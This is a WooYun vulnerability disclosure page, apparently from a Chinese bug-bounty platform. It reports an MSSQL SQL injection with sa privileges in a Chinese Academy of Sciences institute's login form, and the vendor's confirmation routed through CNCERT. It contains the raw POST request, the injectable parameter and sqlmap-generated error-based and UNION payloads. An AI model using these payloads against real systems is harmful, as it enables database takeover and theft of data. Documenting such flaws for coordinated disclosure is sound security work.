当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157858

漏洞标题:中国科学院某研究所sa权限MSSQL注入

相关厂商:中国科学院

漏洞作者: 无名人

提交时间:2015-12-04 00:02

修复时间:2016-01-21 15:21

公开时间:2016-01-21 15:21

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-28: 细节向普通白帽子公开
2016-01-07: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

RT

详细说明:

系统:http://**.**.**.**/
漏洞地址:

POST / HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 304
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=kt4x1qiwdk0p1ly1ccayyj2o
__VIEWSTATE=%2FwEPDwUKLTUzNDczNjI1MGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCUlCdG5Mb2dpbqqcQhq%2B4N%2FJgwqgOOn%2BdOmwcM4rpY%2BW3croazWkG%2BB2&__VIEWSTATEGENERATOR=C2EE9ABB&cardid=admin*&pwd=%E8%BE%93%E5%85%A5%E4%B8%AA%E4%BA%BA%E5%AF%86%E7%A0%81&PassWordtxt=123456&IBtnLogin.x=84&IBtnLogin.y=26


cardid参数存在注入

---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKLTUzNDczNjI1MGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N
0QmFja0tleV9fFgEFCUlCdG5Mb2dpbqqcQhq+4N/JgwqgOOn+dOmwcM4rpY+W3croazWkG+B2&__VIEW
STATEGENERATOR=C2EE9ABB&cardid=admin' AND 5768=CONVERT(INT,(SELECT CHAR(113)+CHA
R(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5768=5768) THEN CHAR(49
) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'Y
gTz'='YgTz&pwd=%E8%BE%93%E5%85%A5%E4%B8%AA%E4%BA%BA%E5%AF%86%E7%A0%81&PassWordtx
t=123456&IBtnLogin.x=74&IBtnLogin.y=11
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: __VIEWSTATE=/wEPDwUKLTUzNDczNjI1MGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N
0QmFja0tleV9fFgEFCUlCdG5Mb2dpbqqcQhq+4N/JgwqgOOn+dOmwcM4rpY+W3croazWkG+B2&__VIEW
STATEGENERATOR=C2EE9ABB&cardid=admin' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(
118)+CHAR(112)+CHAR(113)+CHAR(106)+CHAR(66)+CHAR(88)+CHAR(122)+CHAR(97)+CHAR(72)
+CHAR(77)+CHAR(71)+CHAR(98)+CHAR(69)+CHAR(87)+CHAR(97)+CHAR(101)+CHAR(117)+CHAR(
85)+CHAR(66)+CHAR(79)+CHAR(69)+CHAR(118)+CHAR(72)+CHAR(100)+CHAR(76)+CHAR(77)+CH
AR(119)+CHAR(115)+CHAR(90)+CHAR(102)+CHAR(88)+CHAR(108)+CHAR(90)+CHAR(114)+CHAR(
105)+CHAR(83)+CHAR(97)+CHAR(105)+CHAR(98)+CHAR(83)+CHAR(105)+CHAR(68)+CHAR(72)+C
HAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL-- &pwd=%E8%BE%93%E5%85%A5%E4%B8%AA%E4%BA%BA%E5%AF%86%E7%
A0%81&PassWordtxt=123456&IBtnLogin.x=74&IBtnLogin.y=11
---
[02:50:32] [INFO] testing Microsoft SQL Server
[02:50:32] [INFO] confirming Microsoft SQL Server
[02:50:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008


漏洞证明:

数据库.png


DBA权限:

dba.png

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-08 10:45

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中科院上级主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价